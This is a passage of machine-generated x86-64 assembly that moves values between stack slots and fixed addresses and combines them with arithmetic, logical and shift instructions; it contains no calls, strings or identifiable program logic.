movsx eax, word [rsp + 0xfb8]
mov rcx, qword [rsp + 0x6780]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x84c], ax
lea rax, [rsp + 0xde]
mov qword [rsp + 0x8890], rax
mov rax, qword [rsp + 0x5e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x57e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7970], rax
lea rax, [rsp + 0x2c60]
mov qword [rsp + 0x8898], rax
mov rax, qword [rsp + 0x8678]
mov rcx, qword [rsp + 0x54d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x60d8], rax
movzx eax, byte [rsp + 0x187]
mov byte [0x1401142b5], al
lea rax, [rsp + 0xd6c]
mov qword [rsp + 0x88a0], rax
movzx eax, word [rsp + 0xbec]
mov rcx, qword [rsp + 0x73e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcd4], ax
movzx eax, word [rsp + 0xf44]
movzx ecx, word [rsp + 0x888]
xor eax, ecx
mov rcx, qword [rsp + 0x61e8]
mov word [rcx], ax
lea rax, [0x140113093]
mov qword [rsp + 0x88a8], rax
mov rax, qword [rsp + 0x7668]
mov rcx, qword [rsp + 0x5c88]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2fd0], eax
mov rax, qword [rsp + 0x5190]
mov rax, qword [rax]
mov qword [rsp + 0x88b0], rax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x64b0]
mov qword [rsp + 0x88b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x88b8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6bc8], rax
mov eax, dword [rsp + 0x2ed8]
mov rcx, qword [rsp + 0x5248]
mov qword [rsp + 0x88c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x88c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2b3c], eax
mov rax, qword [rsp + 0x56f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
and eax, ecx
mov word [0x140113160], ax
movzx eax, word [0x1401143e8]
mov word [rsp + 0xfd4], ax
mov rax, qword [rsp + 0x6468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6c80]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5cb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x58d0]
movzx eax, byte [rax]
mov byte [rsp + 0x1e6], al
mov rax, qword [rsp + 0x86f0]
movzx eax, byte [rax]
movzx ecx, byte [0x140113072]
add eax, ecx
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0x8498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6400]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8878], rax
lea rax, [rsp + 0x2d50]
mov qword [rsp + 0x88c8], rax
mov rax, qword [rsp + 0x7598]
mov ecx, dword [rsp + 0x2e00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3008], eax
lea rax, [rsp + 0x7d48]
mov qword [rsp + 0x88d0], rax
mov rax, qword [rsp + 0x5528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe6c]
sub eax, ecx
mov word [0x140113060], ax
mov rax, qword [0x1401143a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5490]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x56a0]
mov byte [rcx], al
lea rax, [rsp + 0xec0]
mov qword [rsp + 0x88d8], rax
movsx eax, byte [rsp + 0x1a1]
movsx ecx, byte [rsp + 0x14c]
add eax, ecx
mov byte [rsp + 0xa4], al
movsx eax, byte [0x14011305f]
mov rcx, qword [rsp + 0x7e90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x135], al
mov eax, dword [rsp + 0x2e84]
mov dword [rsp + 0x321c], eax
mov rax, qword [rsp + 0x88d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5cf0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7248], rax
mov rax, qword [rsp + 0x86d0]
mov rax, qword [rax]
mov qword [rsp + 0x88e0], rax
mov eax, dword [rsp + 0x2d74]
movzx ecx, al
mov eax, dword [rsp + 0x2bc0]
shl eax, cl
mov dword [rsp + 0x2ca4], eax
movzx eax, byte [rsp + 0x10d]
mov rcx, qword [rsp + 0x4fe0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14011306a], al
movzx eax, word [rsp + 0xe04]
movzx ecx, word [rsp + 0xa34]
or eax, ecx
mov word [rsp + 0x9ec], ax
lea rax, [rsp + 0xf4c]
mov qword [rsp + 0x88e8], rax
mov rax, qword [rsp + 0x76b0]
movsx eax, word [rax]
mov rcx, qword [0x140114828]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xed0], ax
lea rax, [rsp + 0x59]
mov qword [rsp + 0x88f0], rax
mov rax, qword [rsp + 0x5460]
mov ecx, dword [rsp + 0x30a8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x57b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x84b8]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x57e8]
mov qword [rcx], rax
lea rax, [rsp + 0x2eac]
mov qword [rsp + 0x88f8], rax
mov rax, qword [rsp + 0x7de0]
mov rcx, qword [rsp + 0x6e28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f70], rax
movsx eax, byte [rsp + 0x14c]
movsx ecx, byte [rsp + 0x94]
add eax, ecx
mov byte [0x1401130c6], al
lea rax, [rsp + 0x924]
mov qword [rsp + 0x8900], rax
movsx eax, byte [rsp + 0xb2]
movsx ecx, byte [rsp + 0x5d]
add eax, ecx
mov byte [rsp + 0xea], al
movzx eax, byte [0x14011301e]
movzx ecx, byte [rsp + 0xf3]
sub eax, ecx
mov rcx, qword [rsp + 0x6468]
mov byte [rcx], al
lea rax, [rsp + 0xc04]
mov qword [rsp + 0x8908], rax
mov rax, qword [rsp + 0x5248]
mov rcx, qword [rsp + 0x8700]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c14], eax
lea rax, [rsp + 0x3020]
mov qword [rsp + 0x8910], rax
mov rax, qword [rsp + 0x7000]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7418]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x65c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6090]
mov rax, qword [rax]
mov qword [rsp + 0x8918], rax
movzx eax, byte [rsp + 0x3b]
mov byte [0x1401142b6], al
mov rax, qword [rsp + 0x75a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc08]
add eax, ecx
mov word [rsp + 0x938], ax
movzx eax, word [rsp + 0xb10]
movzx ecx, word [rsp + 0x964]
xor eax, ecx
mov word [rsp + 0x894], ax
mov rax, qword [rsp + 0x7ea8]
movzx eax, word [rax]
mov word [rsp + 0xfd8], ax
mov rax, qword [0x140114558]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x148]
or eax, ecx
mov rcx, qword [rsp + 0x8648]
mov byte [rcx], al
mov eax, dword [rsp + 0x2fd0]
mov dword [rsp + 0x3220], eax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x4da0]
mov qword [rsp + 0x8920], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8920]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8380], rax
mov rax, qword [rsp + 0x69c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x88c8]
mov qword [rsp + 0x8928], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8928]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x6a78]
mov dword [rcx], eax
lea rax, [rsp + 0x5f28]
mov qword [rsp + 0x8930], rax
mov rax, qword [rsp + 0x7fb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x68f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7cd0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x5f60]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401141be], al
mov rax, qword [rsp + 0x5668]
movzx eax, word [rax]
mov word [rsp + 0xfdc], ax
mov rax, qword [rsp + 0x7048]
movsx eax, byte [rax]
mov rcx, qword [0x140114728]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x147], al
mov rax, qword [rsp + 0x6188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe94]
sub eax, ecx
mov word [rsp + 0xc84], ax
mov eax, dword [rsp + 0x2ba8]
mov dword [rsp + 0x3224], eax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x5448]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5930]
mov qword [rcx], rax
lea rax, [rsp + 0x4cd0]
mov qword [rsp + 0x8938], rax
mov rax, qword [rsp + 0x6100]
mov rcx, qword [rsp + 0x71a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x82c8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x99]
mov byte [rsp + 0x1e7], al
mov rax, qword [rsp + 0x7d70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7638]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14011314c], ax
movzx eax, byte [rsp + 0x1c4]
movzx ecx, byte [rsp + 0x33]
add eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [0x140114670]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x51c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x980], ax
lea rax, [rsp + 0x1c9]
mov qword [rsp + 0x8940], rax
mov rax, qword [rsp + 0x8848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2de8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2df8], eax
mov eax, dword [rsp + 0x3218]
mov dword [rsp + 0x3228], eax
mov rax, qword [rsp + 0x6d28]
mov rcx, qword [rsp + 0x5518]
mov qword [rsp + 0x8948], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8948]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5ba0], rax
mov rax, qword [rsp + 0x6150]
mov rcx, qword [rsp + 0x6380]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6538], rax
lea rax, [0x1401130dc]
mov qword [rsp + 0x8950], rax
lea rax, [rsp + 0xa88]
mov qword [0x140114970], rax
mov rax, qword [rsp + 0x7710]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x82a8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xd9], al
lea rax, [rsp + 0x13f]
mov qword [rsp + 0x8958], rax
mov rax, qword [rsp + 0x81d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfd8]
sar eax, cl
mov word [rsp + 0xa20], ax
mov eax, dword [rsp + 0x3120]
mov ecx, dword [rsp + 0x2eb4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e04], eax
mov rax, qword [rsp + 0x7f10]
mov rax, qword [rax]
mov qword [rsp + 0x8960], rax
mov rax, qword [rsp + 0x55e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3208]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
lea rax, [rsp + 0x5a08]
mov qword [rsp + 0x8968], rax
movzx eax, byte [rsp + 0x7c]
movzx ecx, byte [0x140113062]
and eax, ecx
mov byte [rsp + 0xdf], al
lea rax, [rsp + 0xce]
mov qword [0x140114978], rax
mov rax, qword [rsp + 0x7ab0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc14]
add eax, ecx
mov rcx, qword [rsp + 0x77e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e70]
movzx eax, word [rax]
mov word [rsp + 0xfe0], ax
movsx eax, byte [0x1401130a7]
movsx ecx, byte [rsp + 0x1d7]
add eax, ecx
mov rcx, qword [rsp + 0x8778]
mov byte [rcx], al
lea rax, [rsp + 0x4b]
mov qword [rsp + 0x8970], rax
mov rax, qword [rsp + 0x5180]
mov rcx, qword [rsp + 0x6f80]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7320]
mov qword [rcx], rax
lea rax, [rsp + 0x3188]
mov qword [rsp + 0x8978], rax
mov eax, dword [rsp + 0x2f9c]
mov ecx, dword [rsp + 0x2fc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d4c], eax
mov rax, qword [rsp + 0x8080]
mov rcx, qword [rsp + 0x6b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x74f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov word [0x140113098], ax
movzx eax, word [rsp + 0x8b4]
mov word [rsp + 0xfe4], ax
mov rax, qword [rsp + 0x7580]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbd]
sub eax, ecx
mov byte [rsp + 0x1bb], al
lea rax, [rsp + 0x159]
mov qword [rsp + 0x8980], rax
mov rax, qword [rsp + 0x4e38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xac4]
add eax, ecx
mov word [rsp + 0x87c], ax
mov rax, qword [rsp + 0x84f0]
mov rcx, qword [rsp + 0x7ca0]
mov qword [rsp + 0x8988], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8988]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x50b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x30ec]
mov dword [rsp + 0x322c], eax
mov rax, qword [rsp + 0x8918]
mov rcx, qword [rsp + 0x5f38]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f38]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2dcc]
mov dword [rsp + 0x3230], eax
lea rax, [rsp + 0x1ad]
mov qword [0x140114980], rax
mov rax, qword [rsp + 0x5038]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6378]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x188], al
mov rax, qword [rsp + 0x8520]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b38]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x68b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x9b]
mov byte [rsp + 0x1e8], al
movzx eax, word [rsp + 0xfbc]
movzx ecx, word [rsp + 0xaf8]
and eax, ecx
mov rcx, qword [rsp + 0x5720]
mov word [rcx], ax
lea rax, [rsp + 0x4eb0]
mov qword [rsp + 0x8990], rax
mov rax, qword [rsp + 0x7858]
mov rcx, qword [rsp + 0x8550]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2fe4], eax
lea rax, [rsp + 0x5218]
mov qword [rsp + 0x8998], rax
mov rax, qword [rsp + 0x5a40]
mov ecx, dword [rsp + 0x2b68]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e18], eax
movsx eax, word [0x14011306c]
mov rcx, qword [rsp + 0x8350]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140114510]
mov word [rcx], ax
mov rax, qword [rsp + 0x77e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8f8]
sub eax, ecx
mov word [rsp + 0xe84], ax
movzx eax, byte [rsp + 0x16c]
mov byte [rsp + 0x1e9], al
movzx eax, word [0x14011304c]
mov rcx, qword [rsp + 0x5668]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbfc], ax
lea rax, [rsp + 0x10c]
mov qword [rsp + 0x89a0], rax
mov rax, qword [rsp + 0x7d90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x64b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x78b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5b10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x73c8], rax
mov rax, qword [rsp + 0x6ee0]
mov qword [rsp + 0x89a8], rax
mov eax, dword [rsp + 0x2ddc]
mov ecx, dword [rsp + 0x29d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b48], eax
mov rax, qword [rsp + 0x67c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x140113164], ax
movzx eax, word [rsp + 0x8ac]
mov word [rsp + 0xfe8], ax
mov rax, qword [rsp + 0x5b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6448]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x16c], al
mov rax, qword [rsp + 0x6540]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7580]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1c8], al
movzx eax, byte [rsp + 0x105]
mov byte [rsp + 0x1ea], al
mov rax, qword [rsp + 0x57b8]
mov rcx, qword [rsp + 0x7768]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2f60], eax
lea rax, [rsp + 0x5648]
mov qword [rsp + 0x89b0], rax
mov rax, qword [rsp + 0x6660]
mov rcx, qword [rsp + 0x5698]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6940]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5bc0]
mov rcx, qword [rsp + 0x8340]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x76e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8810]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140114778]
mov word [rcx], ax
lea rax, [rsp + 0xc3]
mov qword [rsp + 0x89b8], rax
mov rax, qword [rsp + 0x6198]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6070]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x99], al
lea rax, [rsp + 0x8a8]
mov qword [rsp + 0x89c0], rax
mov rax, qword [rsp + 0x6970]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x117], al
mov rax, qword [0x140114160]
mov qword [rsp + 0x89c8], rax
mov rax, qword [rsp + 0x8840]
mov ecx, dword [rsp + 0x2be4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2c8c], eax
mov rax, qword [rsp + 0x6818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bd8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c7c], eax
mov rax, qword [rsp + 0x8678]
mov rax, qword [rax]
mov qword [rsp + 0x89d0], rax
mov rax, qword [rsp + 0x8098]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb7c]
add eax, ecx
mov word [0x14011305c], ax
mov rax, qword [rsp + 0x5088]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb70], ax
lea rax, [0x1401141bb]
mov qword [rsp + 0x89d8], rax
movsx eax, word [rsp + 0x9a0]
movsx ecx, word [rsp + 0xfe4]
sub eax, ecx
mov word [rsp + 0xb94], ax
movsx eax, word [rsp + 0xe6c]
mov rcx, qword [rsp + 0x7270]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc64], ax
lea rax, [rsp + 0x5cc8]
mov qword [rsp + 0x89e0], rax
mov rax, qword [rsp + 0x50c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x72f0]
sar rax, cl
mov rcx, qword [rsp + 0x5d38]
mov qword [rcx], rax
lea rax, [rsp + 0x3100]
mov qword [rsp + 0x89e8], rax
mov rax, qword [rsp + 0x8848]
mov ecx, dword [rsp + 0x2a20]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6340]
mov dword [rcx], eax
lea rax, [rsp + 0xe50]
mov qword [0x140114988], rax
movsx eax, word [rsp + 0xdb4]
movsx ecx, word [rsp + 0x8c0]
shl eax, cl
mov word [rsp + 0x968], ax
lea rax, [rsp + 0x10d]
mov qword [rsp + 0x89f0], rax
mov rax, qword [rsp + 0x6360]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x96]
and eax, ecx
mov rcx, qword [rsp + 0x6360]
mov byte [rcx], al
movzx eax, byte [rsp + 0x160]
mov byte [rsp + 0x1eb], al
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x53f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x75c8]
mov rcx, qword [rsp + 0x6248]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8730]
mov qword [rcx], rax
lea rax, [rsp + 0x2fc4]
mov qword [rsp + 0x89f8], rax
mov rax, qword [rsp + 0x79f0]
mov rcx, qword [rsp + 0x80c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7438]
mov qword [rcx], rax
lea rax, [rsp + 0xf0c]
mov qword [rsp + 0x8a00], rax
mov rax, qword [rsp + 0x5be0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6e40]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140114215], al
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xe28]
add eax, ecx
mov rcx, qword [rsp + 0x51b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6fa8]
movzx eax, byte [rax]
mov byte [rsp + 0x1ec], al
movzx eax, byte [rsp + 0xbd]
movzx ecx, byte [rsp + 0x9b]
and eax, ecx
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x5140]
mov ecx, dword [rsp + 0x3160]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x65b0]
mov dword [rcx], eax
lea rax, [rsp + 0x7248]
mov qword [rsp + 0x8a08], rax
mov rax, qword [rsp + 0x8080]
mov rcx, qword [rsp + 0x5718]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7cd8]
mov qword [rcx], rax
lea rax, [rsp + 0x2b3c]
mov qword [rsp + 0x8a10], rax
movsx eax, word [rsp + 0xc70]
mov rcx, qword [rsp + 0x7130]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6290]
mov word [rcx], ax
lea rax, [rsp + 0xa5c]
mov qword [0x140114990], rax
mov rax, qword [rsp + 0x62a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x140], al
mov rax, qword [rsp + 0x5ac8]
movzx eax, byte [rax]
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0x6558]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x161]
or eax, ecx
mov byte [rsp + 0x173], al
lea rax, [rsp + 0x2cc4]
mov qword [rsp + 0x8a18], rax
mov rax, qword [rsp + 0x6390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6f08]
mov qword [rsp + 0x8a20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8a20]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7ab8], rax
mov rax, qword [rsp + 0x5b78]
mov rcx, qword [rsp + 0x5180]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x79f0]
mov qword [rcx], rax
lea rax, [0x140114150]
mov qword [rsp + 0x8a28], rax
mov rax, qword [rsp + 0x70a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9f8]
and eax, ecx
mov word [rsp + 0xa34], ax
mov rax, qword [rsp + 0x5d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3e]
add eax, ecx
mov rcx, qword [0x1401147a0]
mov byte [rcx], al
lea rax, [0x140113034]
mov qword [rsp + 0x8a30], rax
movsx eax, word [rsp + 0xa70]
movsx ecx, word [rsp + 0xd0c]
sub eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7e70]
movzx eax, word [rax]
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0x4b88]
mov ecx, dword [rsp + 0x3074]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x30b4]
mov ecx, dword [rsp + 0x30a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3030], eax
lea rax, [rsp + 0x51b0]
mov qword [rsp + 0x8a38], rax
mov rax, qword [rsp + 0x5b08]
mov rcx, qword [rsp + 0x6df8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x63a8], rax
mov rax, qword [rsp + 0x68f8]
movzx eax, word [rax]
mov word [rsp + 0xff0], ax
lea rax, [rsp + 0xca]
mov qword [0x140114998], rax
movzx eax, word [rsp + 0xc7c]
mov rcx, qword [0x140114240]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf30], ax
mov rax, qword [rsp + 0x6280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x142]
and eax, ecx
mov rcx, qword [rsp + 0x76c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ef8]
movzx eax, byte [rax]
mov byte [rsp + 0x1ee], al
mov rax, qword [rsp + 0x86f8]
movsx eax, byte [rax]
mov rcx, qword [0x140114648]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3e], al
lea rax, [rsp + 0x6dd8]
mov qword [rsp + 0x8a40], rax
mov rax, qword [rsp + 0x7cd8]
mov rcx, qword [rsp + 0x7bd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5670], rax
mov rax, qword [rsp + 0x8a18]
mov rcx, qword [rsp + 0x5500]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2f44], eax
mov eax, dword [rsp + 0x2f30]
mov dword [rsp + 0x3234], eax
movzx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x5d48]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401130c2], al
movsx eax, word [rsp + 0xb20]
mov rcx, qword [rsp + 0x6f90]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8900]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov word [rsp + 0xff4], ax
movzx eax, byte [rsp + 0x1be]
movzx ecx, byte [rsp + 0x170]
add eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [0x1401148d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5940]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8560]
mov word [rcx], ax
mov rax, qword [rsp + 0x7c58]
mov qword [rsp + 0x8a48], rax
mov eax, dword [rsp + 0x2e8c]
mov ecx, dword [rsp + 0x2fe0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e9c], eax
lea rax, [rsp + 0x2c48]
mov qword [rsp + 0x8a50], rax
mov rax, qword [rsp + 0x57d8]
mov rcx, qword [rsp + 0x5008]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7b38]
mov qword [rcx], rax
lea rax, [rsp + 0xb10]
mov qword [0x1401149a0], rax
movzx eax, word [rsp + 0xdf4]
mov word [rsp + 0xff8], ax
movzx eax, word [0x140113070]
movzx ecx, word [rsp + 0xbe0]
add eax, ecx
mov rcx, qword [rsp + 0x6a48]
mov word [rcx], ax
mov rax, qword [rsp + 0x5308]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x44]
add eax, ecx
mov rcx, qword [rsp + 0x7978]
mov byte [rcx], al
mov rax, qword [rsp + 0x6318]
movzx eax, byte [rax]
mov byte [rsp + 0x1ef], al
mov rax, qword [rsp + 0x6168]
mov rcx, qword [rsp + 0x7800]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5fe0], rax
mov rax, qword [rsp + 0x7e28]
mov qword [rsp + 0x8a58], rax
mov rax, qword [rsp + 0x53a0]
mov rcx, qword [rsp + 0x7698]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2fc8], eax
mov rax, qword [rsp + 0x5af8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x322c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b4c], eax
movzx eax, byte [rsp + 0x10e]
movzx ecx, byte [rsp + 0x112]
and eax, ecx
mov byte [0x1401130c7], al
movzx eax, word [rsp + 0xb28]
mov word [rsp + 0xffc], ax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x7d60]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x75d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5810]
